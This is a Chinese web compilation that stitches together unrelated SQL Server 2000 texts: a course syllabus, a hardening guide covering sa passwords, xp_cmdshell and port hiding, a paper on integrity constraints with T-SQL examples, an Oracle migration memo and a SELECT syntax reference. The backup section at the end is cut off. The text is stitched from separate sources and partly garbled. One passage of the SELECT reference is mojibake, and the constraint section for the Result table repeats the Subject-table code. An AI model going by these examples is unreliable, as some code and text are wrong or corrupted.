sqlserver数据库语句

2024-12-02

sqlserver数据库语句(12篇)

1.sqlserver数据库语句 篇一

《SQLServer2000数据库管理》教学大纲

一、课程性质、目的、任务

随着计算机应用的普及和网络技术的发展,数据量急剧地增加,如今人们是借助计算机和数据库技术科学地保存和管理大量的、复杂的数据,以便能方便而充分地利用这些宝贵的信息资源。数据库技术已成为当今计算机信息系统的基础和核心,要学习计算机科学,就不能不学习掌握数据库技术。SQLServer2000数据库管理课程的目的,就是使学员通过学习能够掌握计算机数据库技术。

学员要求:

学习本课程的学生应具备一定的计算机软、硬件知识,熟悉Windows NT或Windows 2000操作系统,能较熟练地利用计算机语言编写程序。

本课程的内容分为两个部分,数据库管理和数据库开发应用。数据库管理部分主要介绍数据库和关系数据库的一些基本概念、SQL Server数据库的特点和数据库的创建、修改、删除、查询等基本操作。整个学习过程由浅入深、逐层推进,让各个层次的学习者都能很容易找到自己的切入点,轻松地学习。

二、教学组织

本课程的教学要求在以下每一章教学内容中给出,大体上分为三个层次:了解、理解和掌握。了解是能正确判别有关概念和方法;理解是能正确表达有关概念和方法的含义;掌握是在理解的基础上加以灵活应用。

1、选用教材:微软《Microsoft SQLServer2000数据库管理,课程号:2072A》,希望出版社2002年5月出版)。

总学时数:72学时(包括面授和实验)。其中,实验学时不得少于36学时,有条件的可以增加实验学时,减少面授学时。

2、课程特点:SQLServer2000数据库管理是实践性很强的一门课程,不仅要学习理论基本知识,更要注重上机实践操作,通过上机实践掌握解题步骤和操作方法,掌握和巩固所学的理论知识。

3、教学方法及教学形式建议

本课程以文字教材为主,共有三种教学形式,即:授课、实验和自学。授课采用面授方式,主要讲授数据库和关系数据库的一些基本概念、SQL Server数据库的特点、数据库的基本操作、SQL Server数据库的编程结构以及数据库的完整性和数据库的维护;实验需使用计算机设备、配合授课内容进行;自学是在教师的指导下由学员自己进行自主学习。

三、教学内容与教学要求

第一章 数据库基础

(一)教学内容

第一节、什么是数据库 第二节、数据库技术 第三节、关系数据库 第四节、SQL Server数据库

(二)教学要求

1、掌握数据库和关系数据库的一些基本概念

2、掌握SQL Server数据库中常用的一些对象。

第二章

SQL Server 2000简介

(一)教学内容

第一节、SQL Server2000的新特点

第二节、SQL Server2000的安装 第三节、SQL Server2000的服务器的使用

(二)教学要求

1、了解SQL Server2000数据库的特点,2、掌握SQL Server2000数据库的安装

3、掌握SQL Server2000服务器的配置和连接

第三章

SQL Server2000数据库的管理

(一)教学内容

第一节、使用Enterprise Manager 第二节、操作数据库

第三节、使用Transact—SQL语言操作数据库 第四节、数据库存储结构 第五节、数据库的安全性

(二)教学要求

1、掌握利用Enterprise Manager创建数据库和管理数据库的方法

2、掌握利用Transact—SQL创建数据库和管理数据库的方法

3、理解数据库的存储结构

4、理解数据库的安全性的概念,掌握数据库的安全保护的实现 第四章

SQL Server2000数据库的管理与使用

(一)教学内容

第一节、表的创建和管理 第二节、在表格中管理数据 第三节、索引的使用

(二)教学要求

1、掌握SQL Server 2000数据类型的分类

2、掌握表的基本结构

3、掌握利用Enterprise Manager创建表和管理表的方法

4、掌握利用Transact—SQL创建表和管理表的方法

第五章

SQL Server2000数据的查询

(一)教学内容

第一节、使用T-SQL语言对数据进行简单查询 第二节、使用Enterprise Manager进行数据查询 第三节、数据查询工具SQL Query Analyzer 第四节、SQL Server2000中视图的使用 第五节、T-SQL语言的高级查询 第六节、使用T-SQL语言设置查询属性

(二)教学要求

1、掌握使用T-SQL语言对数据进行简单查询的方法

2、掌握使用Enterprise Manager进行数据查询的方法

3、了解数据查询工具SQL Query Analyzer的使用方法

4、理解数据库对象——视图的概念

5、掌握SQL Server2000中视图的创建和管理方法

6、掌握T-SQL语言的高级查询的方法

第六章

SQL Server2000数据库的实际使用

(一)教学内容

第一节、在ASP程序中调用SQL数据库 第二节、一个调用ASP程序的例子 第三节、数据导入和导出

(二)教学要求

1、了解在ASP程序中调用SQL数据库的方法

2、了解数据导入和导出的基本概念和方法

第七章

数据完整性

(一)教学内容 第一节、简介 第二节、实施方法

(二)教学要求

1、理解数据完整性的基本知识

2、了解维护数据完整性的实施方法

第八章

SQL Server2000的存储过程和触发器

(一)教学内容

第一节、存储过程的创建和管理 第二节、触发器的创建和管理

(二)教学要求

1、了解存储过程和触发器的特点

2、了解存储过程的创建和管理

3、了解触发器的创建和管理

第九章

SQL Server2000数据库的备份和恢复

(一)教学内容

第一节、为什么要进行数据库份

第二节、使用Enterprise Manager进行数据库的备份和恢复 第三节、使用T-SQL语句进行数据库的备份和恢复

(二)教学要求

1、了解SQL Server2000数据库的备份的重要性

2、了解备份SQL Server2000数据库的方法

3、了解恢复SQL Server 2000数据库的方法

第十章

SQL Server2000数据库的自动化管理和分布式数据管理

(一)教学内容

第一节、自动化管理 第二节、分布式数据管理

(二)教学要求

1、了解SQL Server 2000数据库的自动化管理的方法

2、了解SQL Server2000数据库的分布式数据管理方法

2.sqlserver数据库语句 篇二

1 SQLServer2000安全性建立在控制服务器登录帐号和密码的基础上

1.1 使用安全的登录账号

由于sqlserver不能更改sa用户名称, 也不能删除这个超级用户, 所以, 我们必须对这个账号进行最强的保护, 当然, 包括使用一个非常强壮的密码, 最好不要在数据库应用中使用sa账号, 只有当没有其他方法登录到SQLServer实例时才使用sa。建议数据库管理员新建立个拥有与sa一样权限的超级用户来管理数据库。安全的账号策略还包括不要让管理员权限的账号泛滥。sqlserver的认证模式有Windows身份认证和混合身份认证两种。如果数据库管理员不希望操作系统管理员来通过操作系统登录来接触数据库的话, 可以在账号管理中把系统账号删除。很多主机使用数据库应用只是用来做查询、修改等简单功能的, 请根据实际需要分配账号, 并赋予仅仅能够满足应用要求和需要的权限。

1.2 使用安全的登录密码

我们把密码策略摆在所有安全配置的第一步, 请注意, 很多数据库账号的密码过于简单, 这跟系统密码过于简单是一个道理。对于sa更应该注意, 同时不要让sa账号的密码写于应用程序或者脚本中。健壮的密码是安全的第一步, 建议密码含有多种数字字母组合并9位以上。sqlserver2000安装的时候, 如果是使用混合模式, 那么就需要输入sa的密码, 除非您确认必须使用空密码, 这比以前的版本有所改进。同时养成定期修改密码的好习惯, 数据库管理员应该定期查看是否有不符合密码要求的账号。

2 重视SQLServer2000数据库的日志和存储使用中的安全

2.1 加强数据库日志的记录

审核数据库登录事件的“失败和成功”, 在实例属性中选择“安全性”, 将其中的审核级别选定为全部, 这样在数据库系统和操作系统日志里面, 就详细记录了所有账号的登录事件。请定期查看sqlserver日志检查是否有可疑的登录事件发生, 或者使用DOS命令。

2.2 管理扩展存储过程

对存储过程进行大手术, 并且对账号调用扩展存储过程的权限要慎重。其实在多数应用中根本用不到多少系统的存储过程, 而sql s e rve r的这么多系统存储过程只是用来适应广大用户需求的, 所以请删除不必要的存储过程, 因为有些系统的存储过程能很容易地被人利用起来提升权限或进行破坏。如果您不需要扩展存储过程Xp_cmdshell请把它去掉。

2.3 使用协议加密

s qls e rve r2000使用的Tabular Data Stre am协议来进行网络数据交换, 如果不加密的话, 所有的网络传输都是明文的, 包括密码、数据库内容等, 这是一个很大的安全威胁。能被人在网络中截获到他们需要的东西, 包括数据库账号和密码。所以, 在条件容许情况下, 最好使用SSL来加密协议。

3 SQLServer2000数据库中端口配置的安全注意事项

数据库应用程序通常同操作系统的最高管理员密切相关。广泛SQLSe rve r数据库又是属于“端口”型的数据库, 这就表示任何人都能够用分析工具试图连接到数据库上, 从而绕过操作系统的安全机制, 进而闯入系统、破坏和窃取数据资料, 甚至破坏整个系统。

3.1 防止让人探测TCP/IP端口

默认情况下, sqlserver使用1433端口监听, 很多人都说SQL Se rve r配置的时候要把这个端口改变, 这样别人就不会轻易地知道使用的什么端口了。可惜, 通过微软未公开的1434端口的UDP探测可以很容易知道SQLServer使用的什么TCP/IP端口。在实例属性中选择TCP/IP协议的属性。选择隐藏SQLServer实例。禁止对试图枚举网络上现有的SQLServer实例的客户端所发出的广播作出响应。这样, 别人就不能用1434来探测您的TCP/IP端口了 (除非用Port Scan) 。

3.2 修改TCP/IP使用的端口

请在上一步配置的基础上, 更改原默认的1433端口。在实例属性中选择网络配置中的TCP/IP协议的属性, 将TCP/IP使用的默认端口变为其他端口。

3.3 拒绝来自1434端口的探测

由于1434端口探测没有限制, 能够被别人探测到一些数据库信息, 而且还可能遭到Do S攻击让数据库服务器的CPU负荷增大, 所以对Windows 2000操作系统来说, 在IPSec过滤拒绝掉1434端口的UDP通信, 可以尽可能地隐藏您的s qls e rve r。

3.4 对网络连接进行IP限制

s qls e rve r 2000数据库系统本身没有提供网络连接的安全解决办法, 但是Windows 2000提供了这样的安全机制。使用操作系统自己的IPSec可以实现IP数据包的安全性。请对IP连接进行限制, 只保证自己的IP能够访问, 也拒绝其他IP进行的端口连接, 对来自网络上的安全威胁进行有效的控制。

上面主要介绍的一些sqlserver2000的安全配置, 经过以上的配置, 可以让其本身具备足够的安全防范能力。当然, 更主要的还是要加强内部的安全控制和管理员的安全培训, 而且安全性问题是一个长期的解决过程, 还需要以后进行更多的安全维护。

参考文献

[1]萨师煊等.数据库系统概论[M].北京:高等教育出版社, 2002.

3.sqlserver数据库语句 篇三

关键词:SQL;数据库;完整性;约束

中图分类号:TP311文献标识码:A文章编号:1007-9599 (2013) 05-0000-02

数据完整性的提出是为了解决数据库中存在不符合语义规定的数据或者因错误信息的输入、导人造成对数据的无效操作或错误信息。它需要做到两点:一是保证数据库中数据的正确性;二是保证其可靠性。

1数据完整性概念

所谓的数据完整性是指数据库中的数据的准确性和兼容性,如果两个或更多的表由于其存储的信息而相互关联,那么只要修改了其中一个表,与之相关的所有表都要做出相应的修改,如果不这么做,存储的数据就会不再准确,也就是说,失去了数据的完整性。

2数据完整性的意义

数据完整性要求数据库中的数据具有准确性,准确性是通过数据库表的设计和约束来实现的。为了实现完整性,数据库需要做至少以下两方面的内容,一是检验每行数据是否符合要求,二是检验每列数据是否符合要求。

数据库中的数据的来源都是外界的输入。因此数据库中的数据来源具有不可确定性和难控制性。数据在输入时会因为人为粗心等等各种不确定的原因导致数据的不正确。为了能够有效地利用数据库去管理数据,确保输入数据符合业务规定,关系型数据库系统尤其是多用户的关系型数据库系统就必须依靠数据完整性来保证。数据完整性与应用程序的数据结构中存储和使用的实际值有关。应用程序必须对使用您的数据的每个进程进行有意控制,以确保信息持续准确。

数据的完整性

目的防止数据库中存在错误数据

防范对象不合语义的、不正确的数据

操作方法对数据进行标准化

定义业务规则

提供引用完整性

验证数据

3SQLServer提供的约束类型

数据库是否具备数据完整性关系到数据库系统是否能真实地反映现实世界。SQLServer数据库管理系统提供了检查数据库数据合法性机制,为实现上述要求,SQLServer提供了四种类型的约束。

3.1实体完整性约束

实体完整性要求表中的每一行数据都反映不同的实体,不能存在相同的数据行。通过索引、唯一约束、主键约束、或标示列属性,可实现表中的实体完整性。

3.2域完整性约束

域完整性是指給定列的输入有效性。通过限制数据类型、检查约束、输入格式、外键约束、默认值、非空约束等多种方法,可以实现表的域完整性。

3.3引用完整性约束

在输入或删除数据行时,引用完整性约束来保持表之间已定义的关系。

在强制引用完整性时,SQLServer禁止用户进行如下操作:(1)当主表中没有关联的记录时,将记录添加到子表中。(2)更改主表中的值并导致子表中的记录孤立。(3)从主表中删除记录,但子表仍存在与该记录匹配的相关记录。

引用完整性通过主键和外键之间的引用关系来实现。

3.4自定义完整性约束

用户自定义完整性用来定义特定规则。

4数据库完整性应用案例

下面以学生信息管理系统数据库的设计为例,数据库包含表1Student表、表2Subject表、表3Result表、表4Grade表,其中表1Student表包含字段为StudentNo、StudentName、Sex、GradeId、Phone、Address、BornDate、Email、IdentityCard;表2Subject表包含字段为SubjectNo、SubjectName、ClassHour、GradeId;表3Result表包含的字段为StudentNo、SubjectNo、StudentResult、ExamDate;表4Grade表包含的字段为GradeId、GradeName。下面我们来讨论一下这四种类型的约束。

根据实际需要,可以对各表进行如下约束:

4.1对表Student进行约束

ALTERTABLEStudent--主键约束

ADDCONSTRAINTPK_StuNoPRIMARYKEY(StudentNo)

ALTERTABLEStudent--唯一约束(身份证号唯一)

ADDCONSTRAINTUQ_stuIDUNIQUE(IdentityCard)

ALTERTABLEStudent--默认约束(地址不详)

ADDCONSTRAINTDF_stuAddressDEFAULT('地址不详')FORAddress

ALTERTABLEStudent--检查约束(出生日期是自1980年1月1日以后)

ADDCONSTRAINTCK_stuBornDateCHECK(BornDate>='1980-1-1')

ALTERTABLE Grade ADDCONSTRAINTPK_GradeIDPRIMARYKEY(GradeID)

ALTERTABLEStudent--添加外键约束

ADDCONSTRAINTFK_Grade FOREIGNKEY(GradeID)REFERENCESGrade(GradeID)

4.2对表Subject进行约束

ALTERTABLESubject--主键约束(课程编号)

ADDCONSTRAINTPK_SubjectPRIMARYKEY(SubjectNo)

ALTERTABLESubject--非空约束(课程名称)

ADDCONSTRAINTCK_SubjectNameCHECK(SubjectNameisnotnull)

ALTERTABLESubjectWITHNOCHECK--检查约束(学时必须大于等于0)

ADDCONSTRAINTCK_ClassHourCHECK(ClassHour>=0)

ALTERTABLESubject--外键约束(主表Grade和从表Subject建立引用关系)

ADDCONSTRAINTFK_GradeId

FOREIGNKEY(GradeId)REFERENCESGrade(GradeId)

4.3对表Result进行约束

ALTERTABLESubject--主键约束(课程编号)

ADDCONSTRAINTPK_SubjectPRIMARYKEY(SubjectNo)

ALTERTABLESubject--非空约束(课程名称)

ADDCONSTRAINTCK_SubjectNameCHECK(SubjectNameisnotnull)

ALTERTABLESubjectWITHNOCHECK--检查约束(学时必须大于等于0)

ADDCONSTRAINTCK_ClassHourCHECK(ClassHour>=0)

ALTERTABLESubject--外键约束(主表Grade和从表Subject建立引用关系)

ADDCONSTRAINTFK_GradeId

FOREIGNKEY(GradeId)REFERENCESGrade(GradeId)

参考文献:

[1]陈增祥.SQLServer数据库数据完整性的研究与分析[J].信息安全与技术,2012,1.

[2]朱喜梅.基于SQLServer数据库的性能调优策略与研究[J].哈尔滨理工大学,2009.

[3]张莹.SQLServer中实体完整性的实现方法[J].电脑与电信,2011,7.

[作者简介]楚书来(1982-),男,河南沈丘人,周口职业技术学院讲师,主要从事计算机专业教学;张鹏伟(1976-),男,河南商水人,周口职业技术学院讲师,研究方向:软件开发。

4.sqlserver数据库语句 篇四

Waterxp 从oracle版本转化为sqlserver版本

1,系统安排

为了oracle版本和sqlserver版本能很方便的转化,也为了两个版本能同步修改,特别是业务逻辑层,现决定如下:

A,两个版本的业务逻辑层都放在source目录下。在该目录下有两个目录:

sql 和ora。这两个目录有三个文件:

common.pbl,water_modi.pbl,dw_version.pbl。

这三个 文件里面绝大部分是数据窗口,主要是因为sql server 和oracle的语法有差别。如果只是因为数据窗口有双引号在sql server里不能用,那么把数据窗口的select语法的字段引号去掉即可,因为没有引号的select语句在sql server和oracle下面都是可用的。修改的过程中注意update属性。

B,不同的数据库将使用不同的目录。

2,系统环境的建立

每台机器上建立下面的磁盘映射:

P指向oraservrp237

V指向oraservr ql237或者是 oraserverora237

源代码在 oraservercodewater237 ource 里面。

P盘是肯定要有的, V盘由使用什么版本决定。

3,源代码的修改

业务层的修改尽可能的在源代码处,因为这样修改能让两个版本同时修改。

P盘是类库可以不需要修改。

V盘里的数据窗口都需要改。

改sql237里面的数据窗口,要修改和要注意的地方:

替换的方法

oracle里面使用sql server 里面使用

to_char(readingdate,’yyyymm’)convert(char(6),readingdate,111)

to_char(readingdate,’yyyy/mm’)convert(char(7),readingdate,112)

decode( ,,,,)case when then end 或者 isnull(x,0)

左右连接 (+)left outer join

修改过程中要注意数据窗口的update属性,

4,工作计划

4,1先修改sql237目录下的三个pbl里面的数据窗口的语法。为了照顾数据窗口的update属性,建议使用edit source的方法,而且select语法字段的引号在sql server版本建议去掉。使用pb的replace功能即可。

4,2 修改某些数据窗口的内嵌式sql 的语法。因为有一些内嵌式sql 也使用了decode ,或者是to_char(),这些语法在sqlserver也是必须代替的。

修改方法:

if gs_database = ‘ORACLE’ then

………………decode()……………;

else

…………………case when then end ………..;

end if

4,3 最后的工作是测试。这是最繁琐的最重要的。在测试的过程会发现有一些数据窗口在sql server不能用:修改方法是将字段的引号去掉或者是移到sql 和ora目录里面的dw_version.pbl文件里面,在那里进行修改。

5.sqlserver数据库语句 篇五

 

数据查询SELECT语句数据库教程

 

。因此,对用户来说,数据查询是数据

库最重要的功能。本章将讲述数据查询的实现方法。

在数据库中,数据查询是通过SELECT 语句来完成的。SELECT 语句可以从数据库中按用户要求检索数据,并将查询结果以表格的形式返回。我们在“Transact-SQL 语言”章节及前面的章节中已经初步接触到了SELECT 语句的一些用法,在本章中将分类讲述其具体用法。

本节讲述SELECT 语句完整的锓结构U馐且桓龇浅H叱ぁ⒖菰锏墓程。读者? 以跳过本节,从第二节开始阅读,而将本节作为理解、编写查询语句的语法参考资料。 SELECT 语句完整的语法结构如下:

SELECT statement ::=

[ ORDER BY { order_by_expression | column_position [ ASC | DESC ] } [,...n] ]

[ COMPUTE { { AVG | COUNT | MAX | MIN | SUM } (expression) } [,...n]

[ BY expression [,...n] ] ]

[ FOR { BROWSE | XML { RAW | AUTO | EXPLICIT }

[ , XMLDATA ]

[ , ELEMENTS ]

[ , BINARY base64 ] }

[ OPTION ( [,...n]) ]

::=

{ | () }

[UNION [ALL] ) [...n] ]

::=

SELECT [ ALL | DISTINCT ]

[ {TOP integer | TOP integer PERCENT} [ WITH TIES] ]

[ INTO new_table ]

[ FROM {} [,...n] ]

[ WHERE ]

[ GROUP BY [ALL] group_by_expression [,...n]

[ WITH { CUBE | ROLLUP } ] ]

[ HAVING ]

由于SELECT 语句特别复杂,上述结构还不能完全说明其用法,因此我们将它拆分为若干部分来讲述。

10.1.1 SELECT 子句

SELECT 子句指定需要通过查询返回的表的列,其语法如下:

SELECT [ ALL | DISTINCT ]

[ TOP n [PERCENT] [ WITH TIES] ]

::=

{ *

| { table_name | view_name | table_alias }.*

| { column_name | expression | IDENTITYCOL | ROWGUIDCOL }

[ [AS] column_alias ]

| column_alias = expression

} [,...n]

各参数说明如下:

ALL

指明查询结果中可以显示值相同的列。ALL 是系统默认的。

DISTINCT

指明查询结果中如果有值相同的列,则只显示其中的一列。对DISTINCT 选项来说, Null 值被认为是相同的值。

TOP n [PERCENT]

指定返回查询结果的前n 行数据。如果PERCENT 关键字指定的话,则返回查询结果的前百分之n 行数据。

WITH TIES

此选项只能在使用了ORDER BY 子句后才能使用当指定此项时,除了返回由TOP n (PERCENT) 指定的数据行外,还要返回与TOP n (PERCENT) 返回的最后一行记录中由ORDER BY 子句指定的列的列值相同的数据行。

select_list

select_list 是所要查询的表的列的集合,多个列之间用逗号分开。

* 通配符,返回所有对象的所有列。

table_name | view_name | table_alias.*

限制通配符*的作用范围。凡是带*的项,均返回其中所有的列。

column_name

指定返回的列名

expression

表达式可以为列名、常量、函数或它们的组合。

IDENTITYCOL

返回IDENTITY 列。如果FROM 子句中有多个表含有IDENTITY 列,则在IDENTTYCOL 选项前必须加上表名,如Table1.IDENTITYCOL。

ROWGUIDCOL

返回表的ROWGUIDCOL 列。同IDENTITYCOL 选项相同,当要指定多个ROWGUIDCOL 列时,选项前必须加上表名,如Table1. ROWGUIDCOL。

column_alias

在返回的查询结果中用此别名替代列的原名。column_alias 可用于ORDER BY 子句,但不能用于WHERE GROUP BY 或HAVING 子句如果查询是游标声明命令DECLARE CURSOR 的一部分,则column_alias 还不能用于FOR UPDATE 子句(有关游标的介绍请参见“游标和视图”章节)。

10.1.2 INTO 子句

INTO 子句用于把查询结果存放到一个新建的表中。SELECT...INTO 句式不能与COMPUTE 子句一起使用。其语法如下:

INTO new_table

参数new_table 指定了新建的表的名称。新表的列由SELECT 子句中指定的列构成,新表中的数据行是由WHERE 子句指定的。但如果SELECT 子句中指定了计算列,在新表中对应的列则不是计算列,而是一个实际存储在表中的列,其中的数据由执行SELECT...INTO 语句时计算得出。如果数据库的“Select into/bulk copy” 选项设置为“True/On”,则可以用INTO 子句创建表和临时表,反之,则只能创建临时表。

10.1.3 FROM 子句

FROM 子句指定需要进行数据查询的表。只要SELECT 子句中有要查询的列,就必须使用FROM 子句。其语法如下:

FROM {} [,...n]

::=

table_name [ [AS] table_alias ] [ WITH ( [,...n]) ]

| view_name [ [AS] table_alias ]

| rowset_function [ [AS] table_alias ]

| OPENXML

| derived_table [AS] table_alias [ (column_alias [,...n] ) ]

|

::=

ON

| CROSS JOIN

|

::=

[ INNER | { { LEFT | RIGHT | FULL } [OUTER] } ]

[ ]

JOIN

各参数说明如下:

table_source

指明SELECT 语句要用到的表、视图等数据源。

table_name [ [AS] table_alias ]

指明表名和表的别名。

view_name [ [AS] table_alias ]

指明视图名称和视图的别名。

rowset_function [ [AS] table_alias ]

指明行统计函数和统计列的名称。

OPENXML

提供一个XML 文档的行集合视图。

WITH ([,...n])

指定一个或多个表提示。通常SQL Server 的查询优化器会自动选取最优执行计划,除非是特别有经验的用户,否则最好不用此选项。关于表提示table_hint 的设,定请参见下一章的“删除数据”部分。

derived_table [AS] table_alias

指定一个子查询,从数据库中返回数据行。

column_alias

指明列的别名,用以替换查询结果中的列名。

joined_table

指定由连接查询生成的查询结果。有关连接与连接查询的介绍参见本章的相关章节。

join_type

指定连接查询操作的类型。

INNER

指定返回两个表中所有匹配的行。如果没有join_type 选项,此选项就为系统默认。

LEFT [OUTER]

返回连接查询左边的表中所有的相应记录,而右表中对应于左表无记录的部分,用NULL 值表示。

RIGHT [OUTER]

返回连接查询右边的表中所有的相应记录,而左表中对应于右表无记录的部分,用NULL 值表示。

FULL [OUTER]

返回连接的两个表中的所有记录。无对应记录的部分用NULL 值表示。

join_hint

指定一个连接提示或运算法则。如果指定了此选项,则INNER LEFT RIGHT 或FULL选项必须明确指定。通常SQL Server 的查询优化器会自动选取最优执行计划,除非是特别有经验的用户,否则最好不用此选项。

join_hint 的语法如下:

::= { LOOP | HASH | MERGE | REMOTE }

其中LOOP | HASH | MERGE 选项指定查询优化器中的连接是循环、散列或合并的。REMOTE 选项指定连接操作由右边的表完成。当左表的数据行少于右表,才能使用REMOTE 选项。当左表和右表都是本地表时,此选项不必使用。

JOIN

指明特定的表或视图将要被连接。

ON

指定连接的条件。

CROSS JOIN

返回两个表交叉查询的结果。10.1.4 WHERE 子句

WHERE 子句指定数据检索的条件,以限制返回的数据行。其语法如下:

WHERE |

::=

column_name { *= | =* } column_name

各参数说明如下:

search_condition

通过由谓词构成的条件来限制返回的查询结果,

old_outer_join

指定一个外连接。此选项是不标准的,但使用方便。它用“*=” 操作符表示左连接,用“=*” 操作符表示右连接。此选项与在FROM 子句中指定外连接都是可行的方法,但二者只能择其一。

注意:如果在WHERE子句中指定一个值为FALSE的条件,则可以用SELECT...INTO语句来创建一个表名不同,但结构和数据类型均和原表相同的表。

10.1.5 GROUP BY 子句

GROUP BY 子句指定查询结果的分组条件。其语法如下;

GROUP BY [ALL] group_by_expression [,...n]

[ WITH { CUBE | ROLLUP } ]

各参数说明如下:

ALL

返回所有可能的查询结果组合,即使此组合中没有任何满足WHERE 子句的数据。分组的统计列如果不满足查询条件,则将由NULL 值构成其数据。ALL 选项不能与CUBE或ROLLUP 选项同时使用。

GROUP BY ALL is not supported in queries that access remote tables.

group_by_expression

指明分组条件。group_by_expression 通常是一个列名,但不能是列的别名。数据类型为TEXT、 NTEXT、 IMAGE 或BIT 类型的列不能作为分组条件。

CUBE

除了返回由GROUP BY 子句指定的列外,还返回按组统计的行。返回的结果先按分组的第一个条件列排序显示,再按第二个条件列排序显示以此类推。统计行包括了GROUPBY 子句指定的列的各种组合的数据统计。

ROLLUP

与CUBE 不同的是,此选项对GROUP BY 子句中的列顺序敏感,它只返回第一个分组条件指定的列的统计行。改变列的顺序会使返回的结果的行数发生变化。

使用Distinct选项的统计函数,如AVG(DISTINCT column_name)、COUNT(DISTINCT column_name)、和SUM(DISTINCT column_name)等,不能在使用CUBE或ROLLUP选项时使用。

10.1.6 HAVING 子句

HAVING 子句指定分组搜索条件。HAVING 子句通常与GROUP BY 子句一起使用。TEXT、 NTEXT 和IMAGE 数据类型不能用于HAVING 子句。其语法如下:

HAVING

HAVING 子句与WHERE 子句很相似,其区别在于其作用的对象不同。WHERE 子句作用于表和视图,HAVING 子句作用于组。

10.1.7 UNION 操作符

UNION 操作符将两个或两个以上的查询结果合并为一个结果集。它与使用连接查询合并两个表的列是不同的。使用UNION 操作符合并查询结果需要遵循两个基本规则:

列的数目和顺序在所有查询中必须是一致的;

数据类型必须兼容。

其语法如下:

| ()

UNION [ALL]

)

[UNION [ALL] ) [...n] ]

各参数说明如下:

| ()

指明查询的详细说明或查询表达式。

UNION

合并操作符。

ALL

合并所有数据行到结果中,包括值重复的数据行。如果不指定此选项,则重复的数据行只显示一行。

10.1.8 ORDER BY 子句

ORDER BY 子句指定查询结果的排序方式。其语法如下:

ORDER BY {order_by_expression [ ASC | DESC ] } [,...n]

各参数说明如下:

order_by_expression

指定排序的规则。order_by_expression 可以是表或视图的列的名称或别名。如果SELECT 语句中没有使用DISTINCT 选项或UNION 操作符。那么ORDER BY 子句中可以包含select list 中没有出现的列名。或别名ORDER BY 子句中也不能使用TEXT、 NTEXT 和 IMAGE 数据类型。

ASC

指明查询结果按升序排列。这是系统默认值。

DESC

指明查询结果按降序排列。

注意:Null值被作为最小的值。

10.1.9 COMPUTE 子句

COMPUTE 子句在查询结果的末尾生成一个汇总数据行。其语法如下:

COMPUTE

{ { AVG | COUNT | MAX | MIN | STDEV | STDEVP |VAR | VARP | SUM }

(expression) } [,...n]

[ BY expression [,...n] ]

各参数说明如下:

AVG | COUNT | MAX | MIN | STDEV | STDEVP | VAR | VARP | SUM以上参数与对应的函数有相同的含义。这些函数均会忽略NULL 值,且DISTINCT选项不能在此使用。

expression

指定需要统计的列的名称。此列必须包含于SELECT 列表中,且不能用别名。COMPUTE子句中也不能使用TEXT、 NTEXT 和IMAGE 数据类型。

BY expression

在查询结果中生成分类统计的行。如果使用此选,项则必须同时使用ORDER BY 子句。expression 是对应的ORDER BY 子句中的order_by_expression 的子集或全集。

注意:在SELECT子句中使用统计函数,会覆盖COMPUTE子句中的相应选项。在SELECTINTO语句中不能使用COMPUTE子句。

10.1.10 FOR BROWSE 子句

FOR BROWSE 子句用于读取另外的用户正在进行添加、删除或更新记录的表。其语法如下:

FOR { BROWSE | XML { RAW | AUTO | EXPLICIT }

[ , XMLDATA ]

[ , ELEMENTS ]

[ , BINARY base64 ]

}

各参数说明如下:

BROWSE

BROWSE 选项指明当查看在使用DB-Library 的客户机应用程序中的数据时,可以更新数据。

使用此子句时对所操作的表有一些限制:

表必须包含一个timestamp 类型的时间标识列;

表必须有一个惟一索引。

注意:

在SELECT语句中:FOR BROWSE子句必须是SELECT语句的最后子句;FOR BROWSE子句不能与UNION操作符同时使用;FOR BROWSE子句不能与表提示HOLDLOCK选项同时使用。

XML

XML 选项指明查询结果以XML 文档模式返回XML。 模式分为RAW、 AUTO、 EXPLICIT 三种。

RAW

将查询结果每一行转换为以一个普通标识符作为元素标识XML 文档。

AUTO

以简单嵌套的XML 树方式返回查询结果。

EXPLICIT

指定查询结果的XML 树的形式被明确定义的。

XMLDATA

返回概要信息。它是附加在文档上返回的。

ELEMENTS

指明列将以子元素的方式返回。

BINARY base 64

指定查询返回的以base64 格式编码的二进制数据。

10.1.11 OPTION 子句

OPTION 子句用于指定在整个查询过程中的查询提示(Query Hint)。通常,用户不必使用OPTION 子句,因为查询优化器会自动选择一个最佳的查询计划。OPTION 子句必须由最外层的主查询来指定。各查询提示之间应使用逗号隔开。其语法如下:

OPTION ( [,...n] )

::=

{ { HASH | ORDER } GROUP

| { CONCAT | HASH | MERGE } UNION

| { LOOP | MERGE | HASH } JOIN

| FAST number_rows

| FORCE ORDER

| MAXDOP number

| ROBUST PLAN

| KEEP PLAN

| KEEPFIXED PLAN

| EXPAND VIEWS

}

各参数说明如下:

{HASH | ORDER} GROUP

指定在GROUP BY 或COMPUTE 子句中指定的查询使用散列法或排序法。所谓散列法是指为存储和检索数据项或数据,把搜索关键字转换为一个地址的一种方法。该方法常作为数据集内的记录的一种算法,可以使记录分组均匀,减少搜索时间。

{MERGE | HASH | CONCAT} UNION

指定所有的UNION 操作符采用合并(Merge)、散列(Hash) 或连接(Concatenate)的方法执行操作。如果指定了多个UNION 提示,查询优化器会挑选一个最佳的提示方案。

{LOOP | MERGE | HASH |} JOIN

指定查询过程中的所有连接操作采取循环连接(Loop Join)、合并连接(Merge Join)或散列连接(Hash Join) 的方法。如果指定了多个JOIN 提示,查询优化器会挑选一个最佳的提示方案。

FAST number_rows

指定查询优化只用于迅速返回前number_rows 行数据,在number_rows 行以后的数据采用原查询方法。

FORCE ORDER

指定在查询语法中说明的连接顺序在查询优化的过程中保持不变。

MAXDOP number

忽略由Sp_configure 设定的针对查询的最大并行线程数目。

ROBUST PLAN

强制查询优化器尝试使用最大行容量的计划。

KEEP PLAN

强制查询优化器放松重新编译查询的阈值。指定此选项可以让一个表被多次更新而不必频繁地重新编译查询。

KEEPFIXED PLAN

强制查询优化器不重新编译查询。这样只有当表的概要改变或执行Sp_recompile 存储过程时,才会重新编译查询。

EXPAND VIEWS

扩展索引化视图(当一个视图的名称在查询文本中被视图定义替换时称这个视图被扩展了),并且查询优化器不再将索引化视图作为查询的某部分的替代品。如果视图使用了WITH (NOEXPAND) 说明,则不能被扩展。注意:SELECT语句中各子句的排列次序是很重要的,子句必须依相应的次序来使用。

当用SELECT命令读取TEXT和IMAGE类型数据时,一次所能读取的数据受限于@@TE-XTSIZE全局变量的值。

可以用SET TEXTSIZE命令来更改它。@@TEXTSIZE的初始值为4K,最大为231-1(2,147,483,647)个字节。

6.sqlserver数据库语句 篇六

1 数据备份

1.1 备份要求

每天对数据库数据进行一次完全备份,备份数据保留2周。

